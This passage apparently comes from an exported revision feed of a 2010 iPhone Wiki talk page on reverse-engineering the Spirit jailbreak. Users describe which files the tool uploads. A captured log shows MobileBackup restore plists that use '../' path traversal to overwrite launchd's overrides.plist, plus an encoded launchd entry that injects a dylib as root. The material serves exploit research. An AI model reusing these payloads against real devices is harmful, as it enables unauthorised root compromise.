	aW9uPSIxLjAiPgo8ZGljdD4KICAgIDxrZXk+Y29tLmFwcGxlLlNwcmluZ0JvYXJkPC9r&lt;br /&gt;
	ZXk+CiAgICA8ZGljdD4KICAgICAgICA8a2V5PkRpc2FibGVkPC9rZXk+CiAgICAgICAg&lt;br /&gt;
	PHRydWUvPgogICAgPC9kaWN0PgoKICAgIDxrZXk+Y29tLmFwcGxlLnRjcGR1bXAuc2Vy&lt;br /&gt;
	dmVyPC9rZXk+CiAgICA8ZGljdD4KICAgICAgICA8a2V5PktlZXBBbGl2ZTwva2V5Pgog&lt;br /&gt;
	ICAgICAgIDx0cnVlLz4KICAgICAgICA8a2V5PkxhYmVsPC9rZXk+CiAgICAgICAgPHN0&lt;br /&gt;
	cmluZz5jb20uYXBwbGUudGNwZHVtcC5zZXJ2ZXI8L3N0cmluZz4KICAgICAgICA8a2V5&lt;br /&gt;
	PlByb2dyYW1Bcmd1bWVudHM8L2tleT4KICAgICAgICA8YXJyYXk+CiAgICAgICAgICAg&lt;br /&gt;
	IDxzdHJpbmc+L3NiaW4vbGF1bmNoZDwvc3RyaW5nPgogICAgICAgIDwvYXJyYXk+CiAg&lt;br /&gt;
	ICAgICAgPGtleT5SdW5BdExvYWQ8L2tleT4KICAgICAgICA8dHJ1ZS8+CiAgICAgICAg&lt;br /&gt;
	PGtleT5MYXVuY2hPbmx5T25jZTwva2V5PgogICAgICAgIDx0cnVlLz4KICAgICAgICA8&lt;br /&gt;
	a2V5PlVzZXJOYW1lPC9rZXk+CiAgICAgICAgPHN0cmluZz5yb290PC9zdHJpbmc+CiAg&lt;br /&gt;
	ICAgICAgPGtleT5FbnZpcm9ubWVudFZhcmlhYmxlczwva2V5PgogICAgICAgIDxkaWN0&lt;br /&gt;
	PgogICAgICAgICAgICA8a2V5PkRZTERfSU5TRVJUX0xJQlJBUklFUzwva2V5PgogICAg&lt;br /&gt;
	ICAgICAgICA8c3RyaW5nPi92YXIvbW9iaWxlL01lZGlhL3NwaXJpdC9vbmUuZHlsaWI8&lt;br /&gt;
	L3N0cmluZz4KICAgICAgICA8L2RpY3Q+CiAgICA8L2RpY3Q+CjwvZGljdD4KPC9wbGlz&lt;br /&gt;
	dD4KCg==&lt;br /&gt;
	&amp;lt;/data&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileAttributesKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileDest&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860294&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileIsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileOffsetKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileSource&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860294&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileStatusKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;2&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Path&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;Library/Preferences/SystemConfiguration/../../../../../var/db/launchd.db/com.apple.launchd/overrides.plist&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Version&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F73C30 [100B4070]&amp;gt; {&lt;br /&gt;
      type = immutable, count = 2, values = (&lt;br /&gt;
            0 : &amp;lt;CFString 00F73AE8 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageProcessMessage&amp;quot;}&lt;br /&gt;
            1 : &amp;lt;CFBasicHash 00F73BE8 [100B4070]&amp;gt; {&lt;br /&gt;
                  type = immutable dict, count = 2, entries =&amp;gt;&lt;br /&gt;
                        0 : &amp;lt;CFString 00F73B68 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageTypeKey&amp;quot;} = &amp;lt;CFString 00F73BA0 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageRestoreReplyOK&amp;quot;}&lt;br /&gt;
                        1 : &amp;lt;CFString 00F73B30 [100B4070]&amp;gt;{contents = &amp;quot;BackupProtocolVersion&amp;quot;} = &amp;lt;CFString 00F74980 [100B4070]&amp;gt;{contents = &amp;quot;1.6&amp;quot;}&lt;br /&gt;
            } &lt;br /&gt;
      )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 3 - Upload .launchd_use_gmalloc====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLSendFile&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;data&amp;gt;&lt;br /&gt;
	&amp;lt;/data&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileAttributesKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileDest&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860295&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileIsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileOffsetKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileSource&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860295&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileStatusKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;2&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Path&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;Library/Preferences/SystemConfiguration/../../../../../var/db/.launchd_use_gmalloc&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Version&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F80D70 [100B4070]&amp;gt; {     &lt;br /&gt;
      type = immutable, count = 2, values = (&lt;br /&gt;
            0 : &amp;lt;CFString 00F73C60 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageProcessMessage&amp;quot;} &lt;br /&gt;
            1 : &amp;lt;CFBasicHash 00F80D28 [100B4070]&amp;gt; {&lt;br /&gt;
                  type = immutable dict, count = 2, entries =&amp;gt;&lt;br /&gt;
                  0 : &amp;lt;CFString 00F7D4B0 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageTypeKey&amp;quot;} = &amp;lt;CFString 00F80CA8 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageRestoreFileReceived&amp;quot;}&lt;br /&gt;
                  2 : &amp;lt;CFString 00F80C70 [100B4070]&amp;gt;{contents = &amp;quot;BackupRestoreFileName&amp;quot;} = &amp;lt;CFString 00F80CF0 [100B4070]&amp;gt;{contents = &amp;quot;/tmp/stuff.1273764810&amp;quot;}&lt;br /&gt;
            } &lt;br /&gt;
      )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>EnohpiDesrever</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:Spirit&amp;diff=6383</id>
		<title>Talk:Spirit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:Spirit&amp;diff=6383"/>
		<updated>2010-05-14T16:47:43Z</updated>

		<summary type="html">&lt;p&gt;EnohpiDesrever: /* Reversing Spirit */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;There exists also a tool called [[Spirit Fixer|Spirit Fixer v1.01]], written by [[Kirma]]. Anybody knows what that is? Here's a link: http://twitter.com/elior231/status/13296125900&lt;br /&gt;
&lt;br /&gt;
--[[User:Http|http]] 21:42, 4 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I'd love to see a technical writeup of everything, although I don't blame you if you don't. I'm lazy about those things too. As far as trying to keep it secret from Apple, I don't feel theres a point, they'll find it no matter what we do.&lt;br /&gt;
&lt;br /&gt;
--[[User:Geohot|geohot]] 14:02, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I have started reverse engineering Spirit and making some UML(like) data flow and function diagrams. The problem is that I am guessing at too many things since I did not wana post anything and have someone get pissed it was out there. I am up for putting a formal brief together if others want to collaborate. I would imagine as Geohot said, that apple had this disassembled before the .tar was dry. Not to mention that they are not just looking for the exploit that was used (since they most likely had a whiteboard full of potentials during design) , they are looking for copyright violations and their stollen code in every bit of its bits.  &lt;br /&gt;
&lt;br /&gt;
--KodeSlinger 16:31, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Meh, as mentioned on spiritjb.com, once Apple has shown that they've fixed it, the source will be released anyway. - MuscleNerd&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
@MuscleNerd - I started working on it BS (Before Spirit :) ), to create a centralized location that dynamically maps (HW/FW/SW) physical and logical drawings together. My thought was something like this wiki on crack. Ideally to generate functional diagrams of the idevice that act as a starting point to link to more detailed sections pertaining to that functions exploits, related functions, and source code samples(or any other data). Since I am new to this community I have been trying to organize this data for my own brain, and thought others might use it. I will post some screen shots later. The more organized we are the easier it will be to exploit the next vulnerability. &lt;br /&gt;
--[[User:Viper911h|KodeSlinger]] 20:11, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Oh hah, cool :)  If you do that though, obviously you shouldn't go overboard and start publicly discussing variations of this that would help Apple close other holes yet to be exploited (it sounds like your well-versed enough to do that!) - MuscleNerd&lt;br /&gt;
&lt;br /&gt;
@MuscleNerd - Hah; yeah obviously cool kidz only lol --[[User:Viper911h|KodeSlinger]] 21:08, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Reversing Spirit ==&lt;br /&gt;
&lt;br /&gt;
I just started reversing Spirit and thought I'd share what I learned so far in hopes of hearing more from others.&lt;br /&gt;
&lt;br /&gt;
Spirit.exe extracts a bunch of files into a temp directory as follows:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
+ Documents and Settings/&amp;lt;User&amp;gt;/Local Settings/spiritxxx&lt;br /&gt;
|&lt;br /&gt;
+ - dl&lt;br /&gt;
|   |&lt;br /&gt;
|   + - dl.exe&lt;br /&gt;
|&lt;br /&gt;
+ - igor&lt;br /&gt;
|   |&lt;br /&gt;
|   + - 2dcde0a77381d24b7c02ac0cf7f714434c4ccdcf.dylib&lt;br /&gt;
|   + - 3e404d11fcbd5486d3be2dd86ce21316e1854842.dylib&lt;br /&gt;
|   + - 74227c0021c5e12effb5bd3175eb469a8df0622e.dylib&lt;br /&gt;
|   + - b735701843456754988021d128c2671ee36d1b04.dylib&lt;br /&gt;
|   + - f6c17e934ba0ad477812de0b7cb019396d259d93.dylib&lt;br /&gt;
|   + - install&lt;br /&gt;
|   + - map.plist&lt;br /&gt;
|&lt;br /&gt;
+ - resources&lt;br /&gt;
    |&lt;br /&gt;
    + - 320x480.jpg&lt;br /&gt;
    + - 1024x768.jpg&lt;br /&gt;
    + - overrides.plist&lt;br /&gt;
    + - icon.ico&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Spirit.exe is simply a GUI wrapper for dl.exe, which does the heavy lifting and is written using the cross-platform library CoreFoundation.dll.  Dl.exe uses the iTunes DLL to get access to the iDevice, registering a callback function through AMDeviceNotificationSubscribe.  The callback function launches a thread, which uploads 4 files as follows:&lt;br /&gt;
&lt;br /&gt;
# One of the dylibs (depending on the iDevice version?) is uploaded as /var/mobile/Media/spirit/one.dylib&lt;br /&gt;
# The Mach-O ARM executable &amp;quot;install&amp;quot; is uploaded as /var/mobile/Media/spirit/install&lt;br /&gt;
# The Spirit.exe is uploaded as /var/mobile/Media/spirit/freeze.tar.xz&lt;br /&gt;
# One of the jpgs is uploaded as /var/mobile/Media/spirit/bg.jpg&lt;br /&gt;
&lt;br /&gt;
After the files are uploaded, the upload thread signals to the main thread that the files are ready.  The main thread then sends over two plists (shown at the end of the log below) via MobileBackup.&lt;br /&gt;
&lt;br /&gt;
As I've only just started looking at this, and I'm also new to the iPhone scene, I have lots of questions.&lt;br /&gt;
&lt;br /&gt;
# Is the MobileBackup interface documented anywhere?  Was it used in other jb tools before Spirit?&lt;br /&gt;
# Why is Spirit.exe uploaded to the iDevice as freeze.tar.xz?&lt;br /&gt;
# What purpose do map.plist and overrides.plist serve?&lt;br /&gt;
# What are the two plists sent at the end of the transfer, and how do they allow the &amp;quot;install&amp;quot; image to be executed?&lt;br /&gt;
# What does install do to provide an untethered solution?&lt;br /&gt;
&lt;br /&gt;
I'll post more as I learn, but it would be nice to hear if others have made more progress.&lt;br /&gt;
&lt;br /&gt;
-[[User:EnohpiDesrever|EnohpiDesrever]] 16:47, 14 May 2010 (UTC)&lt;/div&gt;</summary>
		<author><name>EnohpiDesrever</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:Spirit&amp;diff=6382</id>
		<title>Talk:Spirit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:Spirit&amp;diff=6382"/>
		<updated>2010-05-14T15:59:07Z</updated>

		<summary type="html">&lt;p&gt;EnohpiDesrever: /* Reversing Spirit */ new section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;There exists also a tool called [[Spirit Fixer|Spirit Fixer v1.01]], written by [[Kirma]]. Anybody knows what that is? Here's a link: http://twitter.com/elior231/status/13296125900&lt;br /&gt;
&lt;br /&gt;
--[[User:Http|http]] 21:42, 4 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I'd love to see a technical writeup of everything, although I don't blame you if you don't. I'm lazy about those things too. As far as trying to keep it secret from Apple, I don't feel theres a point, they'll find it no matter what we do.&lt;br /&gt;
&lt;br /&gt;
--[[User:Geohot|geohot]] 14:02, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I have started reverse engineering Spirit and making some UML(like) data flow and function diagrams. The problem is that I am guessing at too many things since I did not wana post anything and have someone get pissed it was out there. I am up for putting a formal brief together if others want to collaborate. I would imagine as Geohot said, that apple had this disassembled before the .tar was dry. Not to mention that they are not just looking for the exploit that was used (since they most likely had a whiteboard full of potentials during design) , they are looking for copyright violations and their stollen code in every bit of its bits.  &lt;br /&gt;
&lt;br /&gt;
--KodeSlinger 16:31, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Meh, as mentioned on spiritjb.com, once Apple has shown that they've fixed it, the source will be released anyway. - MuscleNerd&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
@MuscleNerd - I started working on it BS (Before Spirit :) ), to create a centralized location that dynamically maps (HW/FW/SW) physical and logical drawings together. My thought was something like this wiki on crack. Ideally to generate functional diagrams of the idevice that act as a starting point to link to more detailed sections pertaining to that functions exploits, related functions, and source code samples(or any other data). Since I am new to this community I have been trying to organize this data for my own brain, and thought others might use it. I will post some screen shots later. The more organized we are the easier it will be to exploit the next vulnerability. &lt;br /&gt;
--[[User:Viper911h|KodeSlinger]] 20:11, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Oh hah, cool :)  If you do that though, obviously you shouldn't go overboard and start publicly discussing variations of this that would help Apple close other holes yet to be exploited (it sounds like your well-versed enough to do that!) - MuscleNerd&lt;br /&gt;
&lt;br /&gt;
@MuscleNerd - Hah; yeah obviously cool kidz only lol --[[User:Viper911h|KodeSlinger]] 21:08, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Reversing Spirit ==&lt;br /&gt;
&lt;br /&gt;
I just started reversing Spirit and thought I'd share what I learned so far in hopes of hearing more from others.&lt;br /&gt;
&lt;br /&gt;
Spirit.exe extracts a bunch of files into a temp directory as follows:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
+ Documents and Settings/&amp;lt;User&amp;gt;/Local Settings/spiritxxx&lt;br /&gt;
|&lt;br /&gt;
+ - dl&lt;br /&gt;
|   |&lt;br /&gt;
|   + - dl.exe&lt;br /&gt;
|&lt;br /&gt;
+ - igor&lt;br /&gt;
|   |&lt;br /&gt;
|   + - 2dcde0a77381d24b7c02ac0cf7f714434c4ccdcf.dylib&lt;br /&gt;
|   + - 3e404d11fcbd5486d3be2dd86ce21316e1854842.dylib&lt;br /&gt;
|   + - 74227c0021c5e12effb5bd3175eb469a8df0622e.dylib&lt;br /&gt;
|   + - b735701843456754988021d128c2671ee36d1b04.dylib&lt;br /&gt;
|   + - f6c17e934ba0ad477812de0b7cb019396d259d93.dylib&lt;br /&gt;
|   + - install&lt;br /&gt;
|   + - map.plist&lt;br /&gt;
|&lt;br /&gt;
+ - resources&lt;br /&gt;
    |&lt;br /&gt;
    + - 320x480.jpg&lt;br /&gt;
    + - 1024x768.jpg&lt;br /&gt;
    + - overrides.plist&lt;br /&gt;
    + - icon.ico&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Spirit.exe is simply a GUI wrapper for dl.exe, which does the heavy lifting and is written using the cross-platform library CoreFoundation.dll.  Dl.exe uses the iTunes DLL to get access to the iDevice, registering a callback function through AMDeviceNotificationSubscribe.  The callback function launches a thread, which uploads 4 files as follows:&lt;br /&gt;
&lt;br /&gt;
# One of the dylibs (depending on the iDevice version?) is uploaded as /var/mobile/Media/spirit/one.dylib&lt;br /&gt;
# The Mach-O ARM executable &amp;quot;install&amp;quot; is uploaded as /var/mobile/Media/spirit/install&lt;br /&gt;
# The Spirit.exe is uploaded as /var/mobile/Media/spirit/freeze.tar.xz&lt;br /&gt;
# One of the jpgs is uploaded as /var/mobile/Media/spirit/bg.jpg&lt;br /&gt;
&lt;br /&gt;
After the files are uploaded, the upload thread signals to the main thread that the files are ready.  The main thread then sends over two plists (shown at the end of the log below) via MobileBackup.&lt;br /&gt;
&lt;br /&gt;
As I've only just started looking at this, and I'm also new to the iPhone scene, I have lots of questions.&lt;br /&gt;
&lt;br /&gt;
# Is the MobileBackup interface documented anywhere?  Was it used in other jb tools before Spirit?&lt;br /&gt;
# Why is Spirit.exe uploaded to the iDevice as freeze.tar.xz?&lt;br /&gt;
# What purpose do map.plist and overrides.plist serve?&lt;br /&gt;
# What are the two plists sent at the end of the transfer, and how do they allow the &amp;quot;install&amp;quot; image to be executed?&lt;br /&gt;
# What does install do to provide an untethered solution?&lt;br /&gt;
&lt;br /&gt;
I'll post more as I learn, but it would be nice to hear if others have made more progress.&lt;/div&gt;</summary>
		<author><name>EnohpiDesrever</name></author>
		
	</entry>
</feed>